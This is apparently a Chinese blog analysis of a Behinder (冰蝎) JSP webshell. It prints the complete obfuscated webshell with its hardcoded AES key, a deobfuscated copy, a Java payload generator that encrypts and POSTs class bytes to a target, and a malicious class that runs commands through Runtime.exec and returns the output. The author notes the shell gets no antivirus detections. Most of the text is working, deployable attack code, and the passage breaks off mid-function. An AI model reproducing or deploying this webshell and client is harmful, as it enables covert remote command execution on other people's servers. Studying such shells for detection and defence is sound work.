一次冰蝎🐎的分析

前期准备

首先贴出原版🐎

1
<%!String key = "79bec9b8470119f5";String initVector = "9220dc6228514959";public static class util{public static Object getoob(java.lang.reflect.Method m,Object o,Object... args) throws Exception {return m.invoke(o, args);}public static Object getob(java.lang.reflect.Method m,Object o,Object... args)throws Exception{return getoob(m, o,args);}public static Object reobj1(Object o){return o;}public static Object reobj(Object o){return reobj1(o);}}public static String reverse(String s) {return new StringBuilder(s).reverse().toString();}String md5 = md5(key + initVector);String style = "{\"Message\":\"##style##\"}}";public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret;}public byte[] x(byte[] s, boolean m) {try {javax.crypto.spec.IvParameterSpec iv = new javax.crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8"));Class cipher = Class.forName(reverse("rehpiC.otpyrc.xavaj"));java.lang.reflect.Method cipher_getInstance = cipher.getMethod(reverse("ecnatsnIteg"), String.class);javax.crypto.Cipher c = (javax.crypto.Cipher)util.getob(cipher_getInstance, cipher,reverse("gniddaP5SCKP/CBC/SEA"));Class skeySpec1 = Class.forName(reverse("cepSyeKterceS.ceps.otpyrc.xavaj"));java.lang.reflect.Constructor skeySpec1_c = skeySpec1.getConstructor(byte[].class, String.class);javax.crypto.spec.SecretKeySpec skeySpec1_Obj = (javax.crypto.spec.SecretKeySpec) skeySpec1_c.newInstance(key.getBytes(), reverse("SEA"));c.init(m ? 1 : 2, skeySpec1_Obj, iv);return c.doFinal(s);} catch (Exception e) {return null;}}public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64 = Class.forName(reverse("46esaB.litu.avaj"));Object Encoder = base64.getMethod(reverse("redocnEteg"), null).invoke(base64, null);Class enen = Encoder.getClass();java.lang.reflect.Method method =enen.getMethod(reverse("gnirtSoTedocne"), new Class[]{byte[].class});value = (String) util.getob(method,Encoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName(reverse("redocnE46ESAB.csim.nus"));Object Encoder = base64.newInstance();Class enen = Encoder.getClass();java.lang.reflect.Method method = enen.getMethod(reverse("edocne"), new Class[]{byte[].class});value = (String) util.getob(method,Encoder, new Object[]{bs});} catch (Exception e2) {}}return value;}public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64 = Class.forName(reverse("46esaB.litu.avaj"));Object decoder = base64.getMethod(reverse("redoceDteg"), null).invoke(base64, null);Class dede = decoder.getClass();java.lang.reflect.Method method = dede.getMethod(reverse("edoced"), new Class[]{String.class});value = (byte[]) util.getob(method,decoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName(reverse("redoceD46ESAB.csim.nus"));Object decoder = base64.newInstance();Class dede = decoder.getClass();java.lang.reflect.Method method = dede.getMethod(reverse("reffuBedoced"), new Class[]{String.class});value = (byte[]) util.getob(method,decoder, new Object[]{bs});} catch (Exception e2) {}}return value;}%><%response.setContentType("text/html;charset=utf-8");if (request.getMethod().equals("POST")) {try {Class rc = request.getClass();java.lang.reflect.Method rdc = rc.getMethod(reverse("redaeRteg"));java.io.BufferedReader reader = (java.io.BufferedReader) rdc.invoke(request);String line = "";StringBuilder sb = new StringBuilder();while ((line = reader.readLine()) != null) {sb.append(line);}byte[] data = sb.toString().getBytes();String sdata = new String(data);if (sdata.indexOf(md5.substring(16)) > 0) {style = new String(x(base64Decode(java.net.URLDecoder.decode(sdata.split(md5.substring(16))[1])), false));session.setAttribute("style", style);}if (session.getAttribute("style") == null) {session.setAttribute("style", style);}if (sdata.indexOf(md5.substring(0, 16)) > 0) {sdata = sdata.split(md5.substring(0, 16))[1];data = x(base64Decode(java.net.URLDecoder.decode(sdata)), false);if (session.getAttribute("NAPRoutID") == null) {java.lang.reflect.Method ClassLoaderEx = Class.forName(reverse("redaoLssalC.gnal.avaj")).getDeclaredMethod(reverse("ssalCenifed"), byte[].class, int.class, int.class);ClassLoaderEx.setAccessible(true);java.lang.reflect.Method currentThreadMethod = Thread.class.getMethod(reverse("daerhTtnerruc"));Thread currentThread = (Thread) currentThreadMethod.invoke(null);java.lang.reflect.Method getContextClassLoaderMethod = Thread.class.getMethod(reverse("redaoLssalCtxetnoCteg"));ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread);Class Class_i = (Class) util.getob(ClassLoaderEx, contextClassLoader, data, 0, data.length);session.setAttribute("NAPRoutID", Class_i);response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));} else {request.setAttribute(reverse("sretemarap"), data);java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();Class payload_c = ((Class) session.getAttribute("NAPRoutID"));Object f = payload_c.newInstance();f.equals(arrOut);f.equals(util.reobj(pageContext));f.toString();response.getWriter().write(session.getAttribute("style").toString().replace("##style##", md5.substring(0, 16) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true)), "UTF-8") + md5.substring(16)));}} else {response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));}} catch (Exception e) {response.getWriter().write(style.replace("##style##", "Unauthorized"));}} else {response.getWriter().write(style.replace("##style##", "Unauthorized"));}%>

看看它的效果,vt上一丢,全绿wc

cf9a134ce99eb7fe5a13aac90e715c2a.png

tomcat访问后拿到jsp解析成java的样子(ai美化了一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import java.lang.reflect.Method;
import java.lang.reflect.Constructor;
import java.math.BigInteger;
import java.security.MessageDigest;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.util.Base64;

public final class logx_jsp extends HttpJspBase
implements JspSourceDependent, JspSourceImports {

// 加密参数
String key = "79bec9b8470119f5";
String initVector = "9220dc6228514959";

// 反射调用工具类
public static class util {
public static Object getoob(Method m, Object o, Object... args) throws Exception {
return m.invoke(o, args);
}

public static Object getob(Method m, Object o, Object... args) throws Exception {
return getoob(m, o, args);
}

public static Object reobj1(Object o) {
return o;
}

public static Object reobj(Object o) {
return reobj1(o);
}
}

// 计算MD5,返回大写16进制字符串
public static String md5(String s) {
String ret = null;
try {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(s.getBytes());
ret = new BigInteger(1, md.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}

// MD5摘要,用于请求校验分隔符
String md5 = md5(key + initVector);

// 返回页面默认样式JSON模板
String style = "{\"Message\":\"##style##\"}}";

// AES CBC 加解密函数,m=true 加密,false 解密
public byte[] x(byte[] input, boolean m) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));

Class<?> cipherClass = Class.forName("javax.crypto.Cipher");
Method getInstanceMethod = cipherClass.getMethod("getInstance", String.class);
Cipher cipher = (Cipher) util.getob(getInstanceMethod, cipherClass, "AES/CBC/PKCS5Padding");

Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec");
Constructor<?> skeySpecConstructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
SecretKeySpec secretKeySpec = (SecretKeySpec) skeySpecConstructor.newInstance(key.getBytes(), "AES");

cipher.init(m ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE, secretKeySpec, iv);
return cipher.doFinal(input);
} catch (Exception e) {
return null;
}
}

// Base64 编码(兼容不同 JDK)
public static String base64Encode(byte[] bs) throws Exception {
Class<?> base64Class;
String value = null;
try {
base64Class = Class.forName("java.util.Base64");
Object encoder = base64Class.getMethod("getEncoder").invoke(base64Class);
Method encodeMethod = encoder.getClass().getMethod("encodeToString", byte[].class);
value = (String) util.getob(encodeMethod, encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64Class = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64Class.newInstance();
Method encodeMethod = encoder.getClass().getMethod("encode", byte[].class);
value = (String) util.getob(encodeMethod, encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}

// Base64 解码(兼容不同 JDK)
public static byte[] base64Decode(String bs) throws Exception {
Class<?> base64Class;
byte[] value = null;
try {
base64Class = Class.forName("java.util.Base64");
Object decoder = base64Class.getMethod("getDecoder").invoke(base64Class);
Method decodeMethod = decoder.getClass().getMethod("decode", String.class);
value = (byte[]) util.getob(decodeMethod, decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64Class = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64Class.newInstance();
Method decodeMethod = decoder.getClass().getMethod("decodeBuffer", String.class);
value = (byte[]) util.getob(decodeMethod, decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}

@Override
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {

response.setContentType("text/html;charset=utf-8");

if ("POST".equalsIgnoreCase(request.getMethod())) {
try {
Method getReaderMethod = request.getClass().getMethod("getReader");
BufferedReader reader = (BufferedReader) getReaderMethod.invoke(request);

String line;
StringBuilder sb = new StringBuilder();
while ((line = reader.readLine()) != null) {
sb.append(line);
}

byte[] data = sb.toString().getBytes();
String sdata = new String(data);

// 以 md5 的后16位作为分割符处理请求,提取并解密数据
if (sdata.indexOf(md5.substring(16)) > 0) {
String encryptedPart = sdata.split(md5.substring(16))[1];
String decodedData = new String(x(base64Decode(URLDecoder.decode(encryptedPart)), false));
style = decodedData;
request.getSession().setAttribute("style", style);
}

if (request.getSession().getAttribute("style") == null) {
request.getSession().setAttribute("style", style);
}

if (sdata.indexOf(md5.substring(0, 16)) > 0) {
sdata = sdata.split(md5.substring(0, 16))[1];
data = x(base64Decode(URLDecoder.decode(sdata)), false);

HttpSession session = request.getSession();

if (session.getAttribute("NAPRoutID") == null) {
Method defineClassMethod = ClassLoader.class
.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);

Method currentThreadMethod = Thread.class.getMethod("currentThread");
Thread currentThread = (Thread) currentThreadMethod.invoke(null);

Method getContextClassLoaderMethod = Thread.class.getMethod("getContextClassLoader");
ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread);

Class<?> injectedClass = (Class<?>) util.getob(defineClassMethod, contextClassLoader, data, 0, data.length);

session.setAttribute("NAPRoutID", injectedClass);
response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));
} else {
request.setAttribute("params", data);

ByteArrayOutputStream arrOut = new ByteArrayOutputStream();

Class<?> payloadClass = (Class<?>) session.getAttribute("NAPRoutID");
Object f = payloadClass.newInstance();

f.equals(arrOut);
f.equals(util.reobj(pageContext));
f.toString();

response.getWriter().write(session.getAttribute("style").toString().replace(
"##style##",
md5.substring(0, 16) +
URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true)), "UTF-8") +
md5.substring(16)
));
}
} else {
response.getWriter().write(request.getSession().getAttribute("style").toString().replace("##style##", ""));
}

} catch (Exception e) {
response.getWriter().write(style.replace("##style##", "Unauthorized"));
}
} else {
response.getWriter().write(style.replace("##style##", "Unauthorized"));
}
}
}

方便调试自己修改的jsp:(在出现异常的时候打印出了对应的异常信息,因为不会直接动态调试jsp,好像也没办法能过直接调试jsp吧,想过一比一转成java代码的法子,但是感觉工作量比较大,只能出此下策了=_=)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
<%!
String key = "79bec9b8470119f5";
String initVector = "9220dc6228514959";

public static class util {
public static Object getoob(java.lang.reflect.Method m, Object o, Object... args) throws Exception {
return m.invoke(o, args);
}

public static Object getob(java.lang.reflect.Method m, Object o, Object... args) throws Exception {
return getoob(m, o, args);
}

public static Object reobj1(Object o) {
return o;
}

public static Object reobj(Object o) {
return reobj1(o);
}
}

public static String reverse(String s) {
return new StringBuilder(s).reverse().toString();
}

String md5 = md5(key + initVector);
String style = "{\"Message\":\"##style##\"}}";

public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}

public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.spec.IvParameterSpec iv = new javax.crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8"));
Class cipher = Class.forName("javax.crypto.Cipher");
java.lang.reflect.Method cipher_getInstance = cipher.getMethod("getInstance", String.class);
javax.crypto.Cipher c = (javax.crypto.Cipher) util.getob(cipher_getInstance, cipher, "AES/CBC/PKCS5Padding");
Class skeySpec1 = Class.forName("javax.crypto.spec.SecretKeySpec");
java.lang.reflect.Constructor skeySpec1_c = skeySpec1.getConstructor(byte[].class, String.class);
javax.crypto.spec.SecretKeySpec skeySpec1_Obj = (javax.crypto.spec.SecretKeySpec) skeySpec1_c.newInstance(key.getBytes(), "AES");
c.init(m ? 1 : 2, skeySpec1_Obj, iv);
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}

public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
Class enen = Encoder.getClass();
java.lang.reflect.Method method = enen.getMethod("encodeToString", new Class[]{byte[].class});
value = (String) util.getob(method, Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
Class enen = Encoder.getClass();
java.lang.reflect.Method method = enen.getMethod("encode", new Class[]{byte[].class});
value = (String) util.getob(method, Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}

public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
Class dede = decoder.getClass();
java.lang.reflect.Method method = dede.getMethod("decode", new Class[]{String.class});
value = (byte[]) util.getob(method, decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
Class dede = decoder.getClass();
java.lang.reflect.Method method = dede.getMethod("decodeBuffer", new Class[]{String.class});
value = (byte[]) util.getob(method, decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
%>
<%
response.setContentType("text/html;charset=utf-8");
if (request.getMethod().equals("POST")) {
try {
Class rc = request.getClass();
java.lang.reflect.Method rdc = rc.getMethod("getReader");
java.io.BufferedReader reader = (java.io.BufferedReader) rdc.invoke(request);
String line = "";
StringBuilder sb = new StringBuilder();
while ((line = reader.readLine()) != null) {
sb.append(line);
}
byte[] data = sb.toString().getBytes();
String sdata = new String(data);
if (sdata.indexOf(md5.substring(16)) > 0) {
style = new String(x(base64Decode(java.net.URLDecoder.decode(sdata.split(md5.substring(16))[1])), false));
session.setAttribute("style", style);
}
if (session.getAttribute("style") == null) {
session.setAttribute("style", style);
}
if (sdata.indexOf(md5.substring(0, 16)) > 0) {
sdata = sdata.split(md5.substring(0, 16))[1];
data = x(base64Decode(java.net.URLDecoder.decode(sdata)), false);
if (session.getAttribute("NAPRoutID") == null) {
java.lang.reflect.Method ClassLoaderEx = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
ClassLoaderEx.setAccessible(true);
java.lang.reflect.Method currentThreadMethod = Thread.class.getMethod("currentThread");
Thread currentThread = (Thread) currentThreadMethod.invoke(null);
java.lang.reflect.Method getContextClassLoaderMethod = Thread.class.getMethod("getContextClassLoader");
ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread);
Class Class_i = (Class) util.getob(ClassLoaderEx, contextClassLoader, data, 0, data.length);
session.setAttribute("NAPRoutID", Class_i);
response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Class payload_c = ((Class) session.getAttribute("NAPRoutID"));
Object f = payload_c.newInstance();
f.equals(arrOut);
f.equals(util.reobj(pageContext));
f.toString();
response.getWriter().write(session.getAttribute("style").toString().replace("##style##", md5.substring(0, 16) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true)), "UTF-8") + md5.substring(16)));
}
} else {
response.getWriter().write(session.getAttribute("style").toString().replace("##style##", "sdata.indexOf(md5.substring(0, 16)) error"));
}
} catch (Exception e) {
response.getWriter().write(style.replace("##style##", "Unauthorized deal error: " + e.getMessage()));
}
} else {
response.getWriter().write(style.replace("##style##", "null postData"));
}
%>

初看一眼就是冰蝎的自定义加密逻辑,

开头贴出来的就是两个密钥然后合起来md5String md5 = *md5*(key + initVector); 如果观察过一些市面上的冰蝎aes webshell就会很熟悉这个操作.

然后就是一个写session字段的操作,也是一些服务端的特征了

可以看看下面这个图(来源于冰蝎作者rebeyond的博客,作者对冰蝎的动态二进制加密通信分享真的很到位,看了很多遍也觉得有意义)

冰蝎v4.0传输协议详解 学废了你也可以构造自己的🐎

image.png

开始手动还原

如果是自己写的加密,那么对应肯定有个解密函数(这个存在于冰蝎的客户端),之所以能bypass一些防护,就是这些东西我们第三方是看不懂的,然后加上这个🐎有一丢丢伪装

核心逻辑是AES-CBC/PKCS5Padding

这里自己开始是手动模拟了一下

image.png

也是没得问题,正常连接上了冰蝎客户端,可以看到流量都是”乱码”,中间人(流量设备)根本无从下手

image.png

然后回到🐎本身,核心逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
response.setContentType("text/html;charset=utf-8");
if (request.getMethod().equals("POST")) {
try {
Class rc = request.getClass();
java.lang.reflect.Method rdc = rc.getMethod("getReader");
java.io.BufferedReader reader = (java.io.BufferedReader) rdc.invoke(request);
String line = "";
StringBuilder sb = new StringBuilder();
while ((line = reader.readLine()) != null) {
sb.append(line);
}
byte[] data = sb.toString().getBytes();
String sdata = new String(data);
if (sdata.indexOf(md5.substring(16)) > 0) {
style = new String(x(base64Decode(java.net.URLDecoder.decode(sdata.split(md5.substring(16))[1])), false));
session.setAttribute("style", style);
}
if (session.getAttribute("style") == null) {
session.setAttribute("style", style);
}
if (sdata.indexOf(md5.substring(0, 16)) > 0) {
sdata = sdata.split(md5.substring(0, 16))[1];
data = x(base64Decode(java.net.URLDecoder.decode(sdata)), false);
if (session.getAttribute("NAPRoutID") == null) {
java.lang.reflect.Method ClassLoaderEx = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
ClassLoaderEx.setAccessible(true);
java.lang.reflect.Method currentThreadMethod = Thread.class.getMethod("currentThread");
Thread currentThread = (Thread) currentThreadMethod.invoke(null);
java.lang.reflect.Method getContextClassLoaderMethod = Thread.class.getMethod("getContextClassLoader");
ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread);
Class Class_i = (Class) util.getob(ClassLoaderEx, contextClassLoader, data, 0, data.length);
session.setAttribute("NAPRoutID", Class_i);
response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Class payload_c = ((Class) session.getAttribute("NAPRoutID"));
Object f = payload_c.newInstance();
f.equals(arrOut);
f.equals(util.reobj(pageContext));
f.toString();
response.getWriter().write(session.getAttribute("style").toString().replace("##style##", md5.substring(0, 16) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true)), "UTF-8") + md5.substring(16)));
}
} else {
response.getWriter().write(session.getAttribute("style").toString().replace("##style##", "sdata.indexOf(md5.substring(0, 16)) error"));
}
} catch (Exception e) {
response.getWriter().write(style.replace("##style##", "Unauthorized deal error: " + e.getMessage()));
}
} else {
response.getWriter().write(style.replace("##style##", "null postData"));
}

首先是拿到POST传的body,然后开始校验密钥if (sdata.indexOf(md5.substring(16)) > 0) 这个说人话就是看POST传参里是否存在前面得到的md5哈希后的前16位,如果存在则进入恶意逻辑(先aes解密再base解码)然后加载字节码生成类并触发其中的equals 方法.

那我们的构造就很简单了: md5的前16位打头+我们自己的恶意类字节码加密编码后的结果 即可!

执行成功后返回的结果构造形式对应代码片段: response.getWriter().write(session.getAttribute("style").toString().replace("##style##", md5.substring(0, 16) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true)), "UTF-8") + md5.substring(16)));

也就是md5前16位+加密编码的执行结果+md5后16位而成

因为aes是对称加密算法,因此依葫芦画瓢,写出对应的解密逻辑就行(基本上主流语言都自带加密解密库)

坑: indexOf函数

But这个indexOf函数有个大坑,也怪我自己用的少.如下结果会输出不匹配的结果,indexOf 函数会返回第一个字串出现的下标.

给出如下demo来演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package util;

public class demo {
public static void main(String[] args) {
String key = "79bec9b8470119f5";
String initVector = "9220dc6228514959";
String md5 = md5(key + initVector);
System.out.println("MD5 Hash: " + md5);
// 57B53AD816D757C74E894FF7B4044BB6
String payload = md5.substring(0, 16) + "your_base64_encoded_data_here";
// System.out.println("Payload: " + payload);
if (payload.indexOf(md5.substring(0,16))>0){
System.out.println("Payload contains the correct prefix.");
}else {
System.out.println("Payload does not contain the correct prefix.");
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
}

开始直接传入的md5的前16位打头+我们自己的恶意类字节码 美美以为就结束了,结果就是死活不跳到恶意逻辑里去,我怀疑过jdk版本,自己写的payload…然后巴拉巴拉整了好久

后面加了debug语句后找到了问题所在

只要我们在前面加上任意字符即可,让构造的payload为: “xxx”+payload 返回的下标就不会是0了,然后就进入了恶意逻辑

手写Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.MessageDigest;
import java.util.Base64;
import java.util.Scanner;

public class PayloadGenerator {

// 与JSP后门相同的密钥和初始化向量
private static final String KEY = "79bec9b8470119f5";
private static final String IV = "9220dc6228514959";

public static void main(String[] args) throws Exception {
//自己要加载的恶意类
generateClassPayload("F:\\Code\\Java\\JavaEE_Learn\\Servlet\\target\\classes\\Exploit\\EnhancedPayload.class");
}

// 生成恶意类Payload
private static void generateClassPayload(String classPath) throws Exception {
byte[] classBytes = Files.readAllBytes(Paths.get(classPath));
byte[] encrypted = encrypt(classBytes, true);

String base64 = Base64.getEncoder().encodeToString(encrypted);
String urlEncoded = URLEncoder.encode(base64, "UTF-8");
String md5 = calculateMD5();
String payload = md5.substring(0, 16) + urlEncoded;

System.out.println("Generated payload for class upload:");
System.out.println(payload);
System.out.println("\nSend this payload in POST body to target JSP");
}

// 执行命令
private static void executeCommand(String targetUrl, String command) throws Exception {
byte[] cmdBytes = command.getBytes(StandardCharsets.UTF_8);
byte[] encrypted = encrypt(cmdBytes, true);

String base64 = Base64.getEncoder().encodeToString(encrypted);
String urlEncoded = URLEncoder.encode(base64, "UTF-8");
String md5 = calculateMD5();
String payload = md5.substring(0, 16) + urlEncoded;

sendPostRequest(targetUrl, payload);
}

// 计算MD5值
private static String calculateMD5() throws Exception {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update((KEY + IV).getBytes());
byte[] digest = md.digest();

StringBuilder sb = new StringBuilder();
for (byte b : digest) {
sb.append(String.format("%02X", b));
}
return sb.toString();
}

// AES加密
private static byte[] encrypt(byte[] data, boolean encrypt) throws Exception {
IvParameterSpec ivSpec = new IvParameterSpec(IV.getBytes(StandardCharsets.UTF_8));
SecretKeySpec keySpec = new SecretKeySpec(KEY.getBytes(StandardCharsets.UTF_8), "AES");

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(encrypt ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE, keySpec, ivSpec);
return cipher.doFinal(data);
}

// 发送POST请求
private static void sendPostRequest(String targetUrl, String payload) throws IOException {
URL url = new URL(targetUrl);
URLConnection conn = url.openConnection();
conn.setDoOutput(true);

try (java.io.OutputStream os = conn.getOutputStream()) {
os.write(payload.getBytes(StandardCharsets.UTF_8));
}

try (InputStream is = conn.getInputStream();
Scanner scanner = new Scanner(is, "UTF-8")) {
String response = scanner.useDelimiter("\\A").next();
System.out.println("Server response:");

// 提取并解密响应
String md5 = calculateMD5();
String encryptedPart = response.split(md5.substring(0, 16))[1];
encryptedPart = encryptedPart.split(md5.substring(16))[0];

byte[] decoded = Base64.getDecoder().decode(encryptedPart);
byte[] decrypted = encrypt(decoded, false);

System.out.println(new String(decrypted, StandardCharsets.UTF_8));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

构造以下恶意类,因为是手动模拟,没有借助冰蝎客户端内置的能力,就写了个传参进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package Exploit;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import javax.servlet.jsp.PageContext;

public class EnhancedPayload {
private ByteArrayOutputStream output;

public boolean equals(Object obj) {
try {
if (obj instanceof ByteArrayOutputStream) {
this.output = (ByteArrayOutputStream) obj;
return true;
} else if (obj instanceof PageContext) {
executeCommands((PageContext) obj);
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}

private void executeCommands(PageContext context) throws Exception {
String cmd = context.getRequest().getParameter("cmd");

if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
try (InputStream input = process.getInputStream();
InputStream error = process.getErrorStream()) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = input.read(buffer)) != -1) {
output.write(buffer, 0, bytesRead);
}
while ((bytesRead = error.read(buffer)) != -1) {
output.write(buffer, 0, bytesRead);
}
}
output.flush();
}
}
}

image.png

然后post发过去就ok了

image.png

image.png

直接来个灵魂计算器更直观!

c4be8b77018ec5ab6549dcf56d8af7d.png

给出逆向后简单还原webshell自定义冰蝎协议的加解密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private byte[] Encrypt(byte[] data) throws Exception {
String key = "79bec9b8470119f5";
String initVector = "9220dc6228514959";
String pre="57B53AD816D757C7";
String post="4E894FF7B4044BB6";
// 初始化 AES CBC 加密器
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(key.getBytes("UTF-8"), "AES");
javax.crypto.spec.IvParameterSpec iv = new javax.crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8"));
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec, iv);

// 执行加密
byte[] encrypted = cipher.doFinal(data);

// Base64 编码(兼容高低版本 JDK)
String base64Encoded;
try {
Class<?> base64Cls = Class.forName("java.util.Base64");
Object encoder = base64Cls.getMethod("getEncoder").invoke(null);
byte[] encodedBytes = (byte[]) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encrypted);
base64Encoded = new String(encodedBytes, "UTF-8");
} catch (Throwable t) {
Class<?> base64Cls = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64Cls.newInstance();
